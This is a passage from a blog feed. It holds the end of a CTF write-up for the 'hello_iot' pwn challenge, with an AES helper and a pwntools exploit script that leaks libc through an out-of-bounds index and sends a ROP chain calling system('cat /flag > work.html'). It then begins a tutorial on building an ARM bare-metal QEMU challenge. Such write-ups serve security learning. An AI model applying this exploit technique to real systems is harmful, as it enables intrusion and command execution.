class="number">0xdb</span>, <span class="number">0xf2</span>,</span><br><span class="line"> <span class="number">0x9</span>, <span class="number">0x20</span>, <span class="number">0x37</span>, <span class="number">0x4e</span>, <span class="number">0x65</span>, <span class="number">0x7c</span>, <span class="number">0x93</span>, <span class="number">0xaa</span>, <span class="number">0xc1</span>, <span class="number">0xd8</span>, <span class="number">0xef</span>, <span class="number">0x6</span>, <span class="number">0x1d</span>, <span class="number">0x34</span>, <span class="number">0x4b</span>, <span class="number">0x62</span>,</span><br><span class="line"> <span class="number">0x79</span>, <span class="number">0x90</span>, <span class="number">0xa7</span>, <span class="number">0xbe</span>, <span class="number">0xd5</span>, <span class="number">0xec</span>, <span class="number">0x3</span>, <span class="number">0x1a</span>, <span class="number">0x31</span>, <span class="number">0x48</span>, <span class="number">0x5f</span>, <span class="number">0x76</span>, <span class="number">0x8d</span>, <span class="number">0xa4</span>, <span class="number">0xbb</span>, <span class="number">0xd2</span>,</span><br><span class="line"> <span class="number">0xe9</span>, <span class="number">0x0</span>, <span class="number">0x17</span>, <span class="number">0x2e</span>, <span class="number">0x45</span>, <span class="number">0x5c</span>, <span class="number">0x73</span>, <span class="number">0x8a</span>, <span class="number">0xa1</span>, <span class="number">0xb8</span>, <span class="number">0xcf</span>, <span class="number">0xe6</span>, <span class="number">0xfd</span>, <span class="number">0x14</span>, <span class="number">0x2b</span>, <span class="number">0x42</span>,</span><br><span class="line"> <span class="number">0x59</span>, <span class="number">0x70</span>, <span class="number">0x87</span>, <span class="number">0x9e</span>, <span class="number">0xb5</span>, <span class="number">0xcc</span>, <span class="number">0xe3</span>, <span class="number">0xfa</span>, <span class="number">0x11</span>, <span class="number">0x28</span>, <span class="number">0x3f</span>, <span class="number">0x56</span>, <span class="number">0x6d</span>, <span class="number">0x84</span>, <span class="number">0x9b</span>, <span class="number">0xb2</span>,</span><br><span class="line"> <span class="number">0xc9</span>, <span class="number">0xe0</span>, <span class="number">0xf7</span>, <span class="number">0xe</span>, <span class="number">0x25</span>, <span class="number">0x3c</span>, <span class="number">0x53</span>, <span class="number">0x6a</span>, <span class="number">0x81</span>, <span class="number">0x98</span>, <span class="number">0xaf</span>, <span class="number">0xc6</span>, <span class="number">0xdd</span>, <span class="number">0xf4</span>, <span class="number">0xb</span>, <span class="number">0x22</span>,</span><br><span class="line"> <span class="number">0x39</span>, <span class="number">0x50</span>, <span class="number">0x67</span>, <span class="number">0x7e</span>, <span class="number">0x95</span>, <span class="number">0xac</span>, <span class="number">0xc3</span>, <span class="number">0xda</span>, <span class="number">0xf1</span>, <span class="number">0x8</span>, <span class="number">0x1f</span>, <span class="number">0x36</span>, <span class="number">0x4d</span>, <span class="number">0x64</span>, <span class="number">0x7b</span>, <span class="number">0x92</span>,</span><br><span class="line"> <span class="number">0xa9</span>, <span class="number">0xc0</span>, <span class="number">0xd7</span>, <span class="number">0xee</span>, <span class="number">0x5</span>, <span class="number">0x1c</span>, <span class="number">0x33</span>, <span class="number">0x4a</span>, <span class="number">0x61</span>, <span class="number">0x78</span>, <span class="number">0x8f</span>, <span class="number">0xa6</span>, <span class="number">0xbd</span>, <span class="number">0xd4</span>, <span class="number">0xeb</span>, <span class="number">0x2</span>,</span><br><span class="line"> <span class="number">0x19</span>, <span class="number">0x30</span>, <span class="number">0x47</span>, <span class="number">0x5e</span>, <span class="number">0x75</span>, <span class="number">0x8c</span>, <span class="number">0xa3</span>, <span class="number">0xba</span>, <span class="number">0xd1</span>, <span class="number">0xe8</span>, <span class="number">0xff</span>, <span class="number">0x16</span>, <span class="number">0x2d</span>, <span class="number">0x44</span>, <span class="number">0x5b</span>, <span class="number">0x72</span>,</span><br><span class="line"> <span class="number">0x89</span>, <span class="number">0xa0</span>, <span class="number">0xb7</span>, <span class="number">0xce</span>, <span class="number">0xe5</span>, <span class="number">0xfc</span>, <span class="number">0x13</span>, <span class="number">0x2a</span>, <span class="number">0x41</span>, <span class="number">0x58</span>, <span class="number">0x6f</span>, <span class="number">0x86</span>, <span class="number">0x9d</span>, <span class="number">0xb4</span>, <span class="number">0xcb</span>, <span class="number">0xe2</span>,</span><br><span class="line"> <span class="number">0xf9</span>, <span class="number">0x10</span>, <span class="number">0x27</span>, <span class="number">0x3e</span>, <span class="number">0x55</span>, <span class="number">0x6c</span>, <span class="number">0x83</span>, <span class="number">0x9a</span>, <span class="number">0xb1</span>, <span class="number">0xc8</span>, <span class="number">0xdf</span>, <span class="number">0xf6</span>, <span class="number">0xd</span>, <span class="number">0x24</span>, <span class="number">0x3b</span>, <span class="number">0x52</span>,</span><br><span class="line"> <span class="number">0x69</span>, <span class="number">0x80</span>, <span class="number">0x97</span>, <span class="number">0xae</span>, <span class="number">0xc5</span>, <span class="number">0xdc</span>, <span class="number">0xf3</span>, <span class="number">0xa</span>, <span class="number">0x21</span>, <span class="number">0x38</span>, <span class="number">0x4f</span>, <span class="number">0x66</span>, <span class="number">0x7d</span>, <span class="number">0x94</span>, <span class="number">0xab</span>, <span class="number">0xc2</span>,</span><br><span class="line"> <span class="number">0xd9</span>, <span class="number">0xf0</span>, <span class="number">0x7</span>, <span class="number">0x1e</span>, <span class="number">0x35</span>, <span class="number">0x4c</span>, <span class="number">0x63</span>, <span class="number">0x7a</span>, <span class="number">0x91</span>, <span class="number">0xa8</span>, <span class="number">0xbf</span>, <span class="number">0xd6</span>, <span class="number">0xed</span>, <span class="number">0x4</span>, <span class="number">0x1b</span>, <span class="number">0x32</span>,</span><br><span class="line"> <span class="number">0x49</span>, <span class="number">0x60</span>, <span class="number">0x77</span>, <span class="number">0x8e</span>, <span class="number">0xa5</span>, <span class="number">0xbc</span>, <span class="number">0xd3</span>, <span class="number">0xea</span>, <span class="number">0x1</span>, <span class="number">0x18</span>, <span class="number">0x2f</span>, <span class="number">0x46</span>, <span class="number">0x5d</span>, <span class="number">0x74</span>, <span class="number">0x8b</span>, <span class="number">0xa2</span>,</span><br><span class="line"> <span class="number">0xb9</span>, <span class="number">0xd0</span>, <span class="number">0xe7</span>, <span class="number">0xfe</span>, <span class="number">0x15</span>, <span class="number">0x2c</span>, <span class="number">0x43</span>, <span class="number">0x5a</span>, <span class="number">0x71</span>, <span class="number">0x88</span>, <span class="number">0x9f</span>, <span class="number">0xb6</span>, <span class="number">0xcd</span>, <span class="number">0xe4</span>, <span class="number">0xfb</span>, <span class="number">0x12</span>,</span><br><span class="line">]</span><br><span class="line"></span><br><span class="line">R_CON = [</span><br><span class="line"> <span class="number">0x00</span>, <span class="number">0x01</span>, <span class="number">0x02</span>, <span class="number">0x04</span>, <span class="number">0x08</span>, <span class="number">0x10</span>, <span class="number">0x20</span>, <span class="number">0x40</span>, <span class="number">0x80</span>, <span class="number">0x1B</span>, <span class="number">0x36</span></span><br><span class="line">]</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">sub_bytes</span>(<span class="params">state</span>):</span><br><span class="line"> <span class="keyword">return</span> [S_BOX[b] <span class="keyword">for</span> b <span class="keyword">in</span> state]</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">shift_rows</span>(<span class="params">s</span>):</span><br><span class="line"> <span class="keyword">return</span> [</span><br><span class="line"> s[<span class="number">0</span>], s[<span class="number">5</span>], s[<span class="number">10</span>], s[<span class="number">15</span>],</span><br><span class="line"> s[<span class="number">4</span>], s[<span class="number">9</span>], s[<span class="number">14</span>], s[<span class="number">3</span>],</span><br><span class="line"> s[<span class="number">8</span>], s[<span class="number">13</span>], s[<span class="number">2</span>], s[<span class="number">7</span>],</span><br><span class="line"> s[<span class="number">12</span>], s[<span class="number">1</span>], s[<span class="number">6</span>], s[<span class="number">11</span>]</span><br><span class="line"> ]</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">xtime</span>(<span class="params">a</span>):</span><br><span class="line"> <span class="keyword">return</span> ((a << <span class="number">1</span>) ^ <span class="number">0x1B</span>) & <span class="number">0xFF</span> <span class="keyword">if</span> a & <span class="number">0x80</span> <span class="keyword">else</span> (a << <span class="number">1</span>)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">mix_single_column</span>(<span class="params">a</span>):</span><br><span class="line"> t = a[<span class="number">0</span>] ^ a[<span class="number">1</span>] ^ a[<span class="number">2</span>] ^ a[<span class="number">3</span>]</span><br><span class="line"> u = a[<span class="number">0</span>]</span><br><span class="line"> a[<span class="number">0</span>] ^= t ^ xtime(a[<span class="number">0</span>] ^ a[<span class="number">1</span>])</span><br><span class="line"> a[<span class="number">1</span>] ^= t ^ xtime(a[<span class="number">1</span>] ^ a[<span class="number">2</span>])</span><br><span class="line"> a[<span class="number">2</span>] ^= t ^ xtime(a[<span class="number">2</span>] ^ a[<span class="number">3</span>])</span><br><span class="line"> a[<span class="number">3</span>] ^= t ^ xtime(a[<span class="number">3</span>] ^ u)</span><br><span class="line"> <span class="keyword">return</span> a</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">mix_columns</span>(<span class="params">s</span>):</span><br><span class="line"> <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">4</span>):</span><br><span class="line"> col = s[i * <span class="number">4</span>:(i + <span class="number">1</span>) * <span class="number">4</span>]</span><br><span class="line"> s[i * <span class="number">4</span>:(i + <span class="number">1</span>) * <span class="number">4</span>] = mix_single_column(col)</span><br><span class="line"> <span class="keyword">return</span> s</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">add_round_key</span>(<span class="params">s, k</span>):</span><br><span class="line"> <span class="keyword">return</span> [a ^ b <span class="keyword">for</span> a, b <span class="keyword">in</span> <span class="built_in">zip</span>(s, k)]</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">key_expansion</span>(<span class="params">key</span>):</span><br><span class="line"> key_symbols = <span class="built_in">list</span>(key)</span><br><span class="line"> <span class="keyword">assert</span> <span class="built_in">len</span>(key_symbols) == <span class="number">16</span></span><br><span class="line"> expanded = key_symbols[:]</span><br><span class="line"> <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">4</span>, <span class="number">44</span>):</span><br><span class="line"> t = expanded[(i - <span class="number">1</span>) * <span class="number">4</span>:i * <span class="number">4</span>]</span><br><span class="line"> <span class="keyword">if</span> i % <span class="number">4</span> == <span class="number">0</span>:</span><br><span class="line"> t = t[<span class="number">1</span>:] + t[:<span class="number">1</span>]</span><br><span class="line"> t = [S_BOX[b] <span class="keyword">for</span> b <span class="keyword">in</span> t]</span><br><span class="line"> t[<span class="number">0</span>] ^= R_CON[i // <span class="number">4</span>]</span><br><span class="line"> <span class="keyword">for</span> j <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">4</span>):</span><br><span class="line"> expanded.append(expanded[(i - <span class="number">4</span>) * <span class="number">4</span> + j] ^ t[j])</span><br><span class="line"> <span class="keyword">return</span> expanded</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">aes_encrypt_block</span>(<span class="params">block, key</span>):</span><br><span class="line"> state = <span class="built_in">list</span>(block)</span><br><span class="line"> w = key_expansion(key)</span><br><span class="line"> state = add_round_key(state, w[:<span class="number">16</span>])</span><br><span class="line"> <span class="keyword">for</span> <span class="built_in">round</span> <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">1</span>, <span class="number">10</span>):</span><br><span class="line"> state = sub_bytes(state)</span><br><span class="line"> state = shift_rows(state)</span><br><span class="line"> state = mix_columns(state)</span><br><span class="line"> state = add_round_key(state, w[<span class="built_in">round</span> * <span class="number">16</span>:(<span class="built_in">round</span> + <span class="number">1</span>) * <span class="number">16</span>])</span><br><span class="line"> state = sub_bytes(state)</span><br><span class="line"> state = shift_rows(state)</span><br><span class="line"> state = add_round_key(state, w[<span class="number">160</span>:<span class="number">176</span>])</span><br><span class="line"> <span class="keyword">return</span> <span class="built_in">bytes</span>(state)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="comment"># ====== 示例 ======</span></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">"__main__"</span>:</span><br><span class="line"> key = <span class="string">b"0123456789ABCDEF"</span></span><br><span class="line"> plaintext = <span class="built_in">input</span>().encode()</span><br><span class="line"> ciphertext = aes_encrypt_block(plaintext, key).<span class="built_in">hex</span>()</span><br><span class="line"> <span class="built_in">print</span>(<span class="string">"Plain :"</span>, plaintext)</span><br><span class="line"> <span class="built_in">print</span>(<span class="string">f'Ciphertext : <span class="subst">{ciphertext}</span>'</span>)</span><br><span class="line"> <span class="comment"># print("Cipher:", hex(u64(ciphertext[:8])), hex(u64(ciphertext[8:])))</span></span><br></pre></td></tr></tbody></table></figure><p>通过 <code>log</code> 泄漏 libc 地址.然后 ROP 链执行 <code>cat /flag > work.html</code>, 再使用 GET 获取.</p><figure class="highlight python"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">from</span> decrypt_script <span class="keyword">import</span> aes_encrypt_block</span><br><span class="line"><span class="keyword">import</span> requests</span><br><span class="line"><span class="keyword">import</span> re</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">context.terminal = [<span class="string">'konsole'</span>, <span class="string">'-e'</span>, <span class="string">'sh'</span>, <span class="string">'-c'</span>]</span><br><span class="line">context(arch = <span class="string">'amd64'</span>,os = <span class="string">'linux'</span>,log_level = <span class="string">'debug'</span>)</span><br><span class="line">HTTP_URL = <span class="string">"http://127.0.0.1:9999"</span></span><br><span class="line">LIBC = <span class="string">'./libc-2.31.so'</span></span><br><span class="line"></span><br><span class="line">response = requests.get(<span class="string">f"<span class="subst">{HTTP_URL}</span>/login.html"</span>)</span><br><span class="line">block = re.search(<span class="string">r'<strong>([a-z]+)</strong>'</span>, response.text).group(<span class="number">1</span>)</span><br><span class="line">log.info(<span class="string">f"key: <span class="subst">{block}</span>"</span>)</span><br><span class="line">cipher = aes_encrypt_block(block.encode(), <span class="string">b"0123456789ABCDEF"</span>).<span class="built_in">hex</span>()</span><br><span class="line">log.info(<span class="string">f"ciphertext: <span class="subst">{cipher}</span>"</span>)</span><br><span class="line"></span><br><span class="line">response = requests.post(<span class="string">f'<span class="subst">{HTTP_URL}</span>/login'</span>, data=<span class="string">f'ciphertext=<span class="subst">{cipher}</span>'</span>)</span><br><span class="line"><span class="keyword">assert</span> response.status_code == <span class="number">200</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># response = requests.get(f'{HTTP_URL}/work.html')</span></span><br><span class="line"><span class="comment"># success(f'Flag is: {response.text}')</span></span><br><span class="line"><span class="comment"># sys.exit(0)</span></span><br><span class="line"></span><br><span class="line">response = requests.post(<span class="string">f'<span class="subst">{HTTP_URL}</span>/log'</span>, data=<span class="string">'index=-167'</span>)</span><br><span class="line"><span class="keyword">assert</span> response.status_code == <span class="number">200</span></span><br><span class="line">addr = re.search(<span class="string">r'<pre>(0x[a-f0-9]+)</pre>'</span>, response.text).group(<span class="number">1</span>)</span><br><span class="line">addr = <span class="built_in">int</span>(addr, <span class="number">16</span>)</span><br><span class="line">libc= ELF(LIBC)</span><br><span class="line">libc_base = addr - libc.symbols[<span class="string">'atoi'</span>]</span><br><span class="line">libc.address = libc_base</span><br><span class="line">log.info(<span class="string">f"libc base: <span class="subst">{<span class="built_in">hex</span>(libc_base)}</span>"</span>)</span><br><span class="line"></span><br><span class="line">cmd = <span class="string">'cat /flag > work.html;'</span></span><br><span class="line">response = requests.post(<span class="string">f'<span class="subst">{HTTP_URL}</span>/work'</span>, data=<span class="string">f'data=<span class="subst">{cmd}</span>\r\n'</span>)</span><br><span class="line"><span class="built_in">print</span>(response.text)</span><br><span class="line"><span class="keyword">match</span> = re.search(<span class="string">r'Total=(\d+)'</span>, response.text).group(<span class="number">1</span>)</span><br><span class="line"><span class="keyword">assert</span> <span class="keyword">match</span></span><br><span class="line">slot = <span class="built_in">int</span>(<span class="keyword">match</span>) - <span class="number">1</span></span><br><span class="line">log.info(<span class="string">f"slot: <span class="subst">{slot}</span>"</span>)</span><br><span class="line"></span><br><span class="line">response = requests.post(<span class="string">f'<span class="subst">{HTTP_URL}</span>/log'</span>, data=<span class="string">'index={slot}'</span>)</span><br><span class="line"><span class="keyword">assert</span> response.status_code == <span class="number">200</span></span><br><span class="line">cmd_addr = re.search(<span class="string">r'0x[a-f0-9]+'</span>, response.text).group(<span class="number">0</span>)</span><br><span class="line">cmd_addr = <span class="built_in">int</span>(cmd_addr, <span class="number">16</span>)</span><br><span class="line">log.info(<span class="string">f"cmd addr: <span class="subst">{<span class="built_in">hex</span>(cmd_addr)}</span>"</span>)</span><br><span class="line"></span><br><span class="line">gadgets = ROP(libc)</span><br><span class="line">chain = flat(gadgets.rdi.address, cmd_addr,</span><br><span class="line"> gadgets.ret.address, <span class="comment"># balance stack</span></span><br><span class="line"> libc.symbols[<span class="string">'system'</span>],</span><br><span class="line"> gadgets.rdi.address, <span class="number">0</span>,</span><br><span class="line"> libc.symbols[<span class="string">'exit'</span>])</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">IP= <span class="string">"127.0.0.1"</span></span><br><span class="line">PORT = <span class="number">9999</span></span><br><span class="line">t = remote(IP, PORT)</span><br><span class="line">payload = <span class="string">b'data='</span> + pack(<span class="number">0</span>, <span class="number">0x48</span> * <span class="number">8</span>) + chain + <span class="string">b'YCB2025\n\n'</span></span><br><span class="line">body = <span class="string">f'''POST /work HTTP/1.0\r</span></span><br><span class="line"><span class="string">Host: <span class="subst">{IP}</span>:<span class="subst">{PORT}</span>\r</span></span><br><span class="line"><span class="string">Content-Length: <span class="subst">{<span class="built_in">len</span>(payload)}</span>\r</span></span><br><span class="line"><span class="string">\r</span></span><br><span class="line"><span class="string">'''</span>.encode()</span><br><span class="line">t.send(body + payload)</span><br><span class="line">t.close()</span><br></pre></td></tr></tbody></table></figure><p><img src="/20251022-羊城杯-hello_iot-复现/image-20251022162154115.png"></p><p><img src="/20251022-羊城杯-hello_iot-复现/image-20251022162359386.png"></p><h1 id="references">References</h1><ol type="1"><li><a href="https://rocketma.dev/2025/10/13/hello_iot/">https://rocketma.dev/2025/10/13/hello_iot/</a></li></ol>]]></content>
<summary type="html"><p>2025 年十月羊城杯 hello_iot</p></summary>
<category term="CTF" scheme="http://summ2.link/categories/CTF/"/>
<category term="pwn" scheme="http://summ2.link/tags/pwn/"/>
<category term="http" scheme="http://summ2.link/tags/http/"/>
<category term="AES" scheme="http://summ2.link/tags/AES/"/>
</entry>
<entry>
<title>ARM Bare metal try</title>
<link href="http://summ2.link/categories/Pwn/arm-bare-metal-helloworld/"/>
<id>http://summ2.link/categories/Pwn/arm-bare-metal-helloworld/</id>
<published>2025-07-14T16:00:00.000Z</published>
<updated>2025-07-14T16:00:00.000Z</updated>
<content type="html"><![CDATA[<h1 id="foreword">Foreword</h1><p>想给今年的 HGAME Mini2025 出一道简单的 Pwn 题,突然想着之前的题目似乎没有涉及到 IoTPwn 的(虽然可能是因为不太算 pwn 的入门内容?),打算来一道比较简单的,正好学习一下 IoT 的相关知识吧。<span id="more"></span></p><h1 id="choose-a-platform">Choose a Platform</h1><p>IoT 设备的 ISA 一般使用 ARM, RISC-V, MIPS。题目考虑使用 nRF51822 based onARM Cortex-M0 SoC, QEMU 对其有较好支持。</p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">qemu-system-arm \</span><br><span class="line"> -M microbit \</span><br><span class="line"> -cpu cortex-m0 \</span><br><span class="line"> -nographic \</span><br><span class="line"> -serial tcp:127.0.0.1:2333,server,telnet \</span><br><span class="line"> -kernel main.elf \</span><br><span class="line"> --gdb tcp::1234</span><br></pre></td></tr></tbody></table></figure><h1 id="hello-world">Hello World</h1><h2 id="to-communicate---uart1">To communicate - UART<a href="#fn1" class="footnote-ref" id="fnref1" role="doc-noteref"><sup>1</sup></a></h2><p>In QEMU, a simulated serial port can serve as <code>stdio</code>.nRF51822 has one UART peripheral, we would use it to interact.</p><p>For convenience, using the official library <a href="https://github.com/NordicSemiconductor/nrfx">nrfx</a> to implementrelated functions, instead of defining addresses and operations bymyself.</p><p>Also, you can finish it with the manual.</p><figure><img src="/2025715-ARM-Bare-metal-try/image-20250715165727185.png" alt="Pin configuration"><figcaption aria-hidden="true">Pin configuration</figcaption></figure><h3 id="how-to-transmit">How to Transmit</h3><figure><img src="/2025715-ARM-Bare-metal-try/image-20250715165809878.png" alt="Transmission process"><figcaption aria-hidden="true">Transmission process</figcaption></figure><p><em>nrfx</em> defines a struct for parameters controlling uart.</p><figure class="highlight c"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">typedef</span> <span class="class"><span class="keyword">struct</span></span></span><br><span class="line"><span class="class">{</span></span><br><span class="line"> <span class="type">void</span> * p_context;</span><br><span class="line"> <span class="type">nrfx_uart_event_handler_t</span> handler;</span><br><span class="line"> <span class="type">uint8_t</span> <span class="type">const</span> * p_tx_buffer;</span><br><span class="line"> <span class="type">uint8_t</span> * p_rx_buffer;</span><br><span class="line"> <span class="type">uint8_t</span> * p_rx_secondary_buffer;</span><br><span class="line"> <span class="keyword">volatile</span> <span class="type">size_t</span> tx_buffer_length;</span><br><span class="line"> <span class="type">size_t</span> rx_buffer_length;</span><br><span class="line"> <span class="type">size_t</span> rx_secondary_buffer_length;</span><br><span class="line"> <span class="keyword">volatile</span> <span class="type">size_t</span> tx_counter;</span><br><span class="line"> <span class="keyword">volatile</span> <span class="type">size_t</span> rx_counter;</span><br><span class="line"> <span class="keyword">volatile</span> <span class="type">bool</span> tx_abort;</span><br><span class="line"> <span class="type">bool</span> rx_enabled;</span><br><span class="line"> <span class="type">nrfx_drv_state_t</span> state;</span><br><span class="line"> <span class="type">bool</span> skip_gpio_cfg : <span class="number">1</span>;</span><br><span class="line"> <span class="type">bool</span> skip_psel_cfg : <span class="number">1</span>;</span><br><span class="line">} <span class="type">uart_control_block_t</span>;</span><br><span class="line"><span class="type">static</span> <span class="type">uart_control_block_t</span> m_cb[NRFX_UART_ENABLED_COUNT];</span><br></pre></td></tr></tbody></table></figure><p><code>nrfx_uart_tx()</code> implenments this operation.</p><figure class="highlight c"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">nrfx_err_t</span> <span class="title function_">nrfx_uart_tx</span><span class="params">(<span class="type">nrfx_uart_t</span> <span class="type">const</span> * p_instance,</span></span><br><span class="line"><span class="params"> <span class="type">uint8_t</span> <span class="type">const</span> * p_data,</span></span><br><span class="line"><span class="params"> <span class="type">size_t</span> length)</span></span><br><span class="line">{</span><br><span class="line"> <span class="type">uart_control_block_t</span> * p_cb = &m_cb[p_instance->drv_inst_idx];</span><br><span class="line"></span><br><span class="line"> NRFX_ASSERT(p_cb->state == NRFX_DRV_STATE_INITIALIZED);</span><br><span class="line"> NRFX_ASSERT(p_data);</span><br><span class="line"> NRFX_ASSERT(length > <span class="number">0</span>);</span><br><span class="line"></span><br><span class="line"> <span class="type">nrfx_err_t</span> err_code;</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (nrfx_uart_tx_in_progress(p_instance))</span><br><span class="line"> {</span><br><span class="line"> err_code = NRFX_ERROR_BUSY;</span><br><span class="line"> NRFX_LOG_WARNING(<span class="string">"Function: %s, error code: %s."</span>,</span><br><span class="line"> __func__,</span><br><span class="line"> NRFX_LOG_ERROR_STRING_GET(err_code));</span><br><span class="line"> <span class="keyword">return</span> err_code;</span><br><span class="line"> }</span><br><span class="line"> p_cb->tx_buffer_length = length;</span><br><span class="line"> p_cb->p_tx_buffer = p_data;</span><br><span class="line"> p_cb->tx_counter = <span class="number">0</span>;</span><br><span class="line"> p_cb->tx_abort = <span class="literal">false</span>;</span><br><span class="line"></span><br><span class="line"> NRFX_LOG_INFO(<span class="string">"Transfer tx_len: %d."</span>, p_cb->tx_buffer_length);</span><br><span class="line"> NRFX_LOG_DEBUG(<span class="string">"Tx data:"</span>);</span><br><span class="line"> NRFX_LOG_HEXDUMP_DEBUG(p_cb->p_tx_buffer,</span><br><span class="line"> p_cb->tx_buffer_length * <span class="keyword">sizeof</span>(p_cb->p_tx_buffer[<span class="number">0</span>]));</span><br><span class="line"></span><br><span class="line"> err_code = NRFX_SUCCESS;</span><br><span class="line"></span><br><span class="line"> nrf_uart_event_clear(p_instance->p_reg, NRF_UART_EVENT_TXDRDY);</span><br><span class="line"> nrf_uart_task_trigger(p_instance->p_reg, NRF_UART_TASK_STARTTX);</span><br><span class="line"></span><br><span class="line"> tx_byte(p_instance->p_reg, p_cb);</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (p_cb->handler == <span class="literal">NULL</span>)</span><br><span class="line"> {</span><br><span class="line"> <span class="keyword">if</span> (!tx_blocking(p_instance->p_reg, p_cb))</span><br><span class="line"> {</span><br><span class="line"> <span class="comment">// The transfer has been aborted.</span></span><br><span class="line"> err_code = NRFX_ERROR_FORBIDDEN;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">else</span></span><br><span class="line"> {</span><br><span class="line"> <span class="comment">// Wait until the last byte is completely transmitted.</span></span><br><span class="line"> <span class="keyword">while</span> (!nrf_uart_event_check(p_instance->p_reg, NRF_UART_EVENT_TXDRDY))</span><br><span class="line"> {}</span><br><span class="line"> nrf_uart_task_trigger(p_instance->p_reg, NRF_UART_TASK_STOPTX);</span><br><span class="line"> }</span><br><span class="line"> p_cb->tx_buffer_length = <span class="number">0</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> NRFX_LOG_INFO(<span class="string">"Function: %s, error code: %s."</span>, __func__, NRFX_LOG_ERROR_STRING_GET(err_code));</span><br><span class="line"> <span class="keyword">return</span> err_code;</span><br><span class="line">}</span><br></pre></td></tr></tbody></table></figure><p>it calls <code>tx_byte()</code>,<code>nrf_uart_txd_set()</code>...</p><figure class="highlight c"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span 